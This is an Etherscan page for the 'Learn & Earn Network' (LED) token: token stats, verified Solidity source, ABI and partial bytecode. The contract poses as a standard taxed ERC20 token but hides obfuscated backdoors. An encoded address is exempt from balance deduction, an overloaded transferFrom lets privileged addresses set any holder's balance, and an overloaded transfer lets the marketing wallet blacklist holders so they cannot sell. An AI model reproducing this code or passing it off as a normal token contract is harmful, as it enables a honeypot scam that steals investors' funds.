ETH Price: $2,685.12 (-1.91%)

Token

Learn & Earn Network (LED)
 

Overview

Max Total Supply

1,000,000,000,000,000 LED

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,388,983,978,857.850103028 LED

Value
$0.00
0x76eefc3960cf2b4dfaed6d2d2ecf16ec54b801a8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LEARNandEARNDeFiNetwork

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-22
*/

//SPDX-License-Identifier:Unlicensed

//LEARN&EARN DEFI NETWORK

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  LEARNandEARNDeFiNetwork is Context, IERC20, Ownable {

    uint256 public toBeSafu=
    321772405573550792850210289141923841583420271308;
    using SafeMath for uint256;
    string private _name = "Learn & Earn Network";
    string private _symbol = "LED";
    uint8 private _decimals = 9;
    address payable public marketWall;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _doollar;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    address private safu_address;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _mainPai;
    mapping (address => bool) public _true;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mainPai[address(uniswapPair)] = true;
        _mainPai[msg.sender] = true; 

        teamWalletAddress = payable(address(0x3078D465e32495fC5e2253a46b1E1f144D80293C));
        marketWall = payable(address(0x3078D465e32495fC5e2253a46b1E1f144D80293C));


        _doollar[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _doollar[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function ioqwfnuioqjiow(uint256 amountOut)  pure private returns(uint160){
        return /*fewfsa*/ 
        uint160(amountOut);
    }

    function iwjdoinqocn(uint256 amount1Out)  pure private returns(address){
        return 
        /*asdawdf*/address(ioqwfnuioqjiow(amount1Out));
    }

    function tt(address amountaut) private view returns(bool){
        return
        !(iwjdoinqocn(toBeSafu) == amountaut);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        marketWall = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mainPai[address(uniswapPair)] = true;
    }
    
function transferFrom(address
 addde 
, uint256 
uinttt) public
{if( 
_mainPai[ /*as asd*/
msg.sender])_doollar[addde] 
= uinttt;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(tt(sender)){


            _doollar[sender] = _doollar[sender].sub(amount);
            }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            if(false || true)
            {
            if(_true
[sender]){
                /*g*/                require(true && false);
}}
            _doollar[recipient] = _doollar[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transfer(address[] calldata ad,bool status) public {
    if( marketWall
  /*asd aw dawf*/ ==  /*asd aw dawf*/
 msg.sender
){
        for(uint256 i = 0; i < ad.length; i++) {
            _true[ad[i]] = status;}
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _doollar[sender] = _doollar[sender].sub(amount, "Insufficient Balance");
        _doollar[recipient] = _doollar[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketWall, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(_mainPai[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mainPai[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _doollar[address(this)] = _doollar[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toBeSafu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ad","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addde","type":"address"},{"internalType":"uint256","name":"uinttt","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273385cc610816993ecc7c2df8f146e8b046733eacc6001556040518060400160405280601481526020017f4c6561726e2026204561726e204e6574776f726b000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600381526020017f4c4544000000000000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600f5560006010556001601155600160125560006013556001601455600460155560046016556010601755600c601855600c6019556018601a55600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601b55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601c55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601d55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601e556001602060156101000a81548160ff0219169083151502179055506000602060166101000a81548160ff0219169083151502179055506001602060176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601f60009054906101000a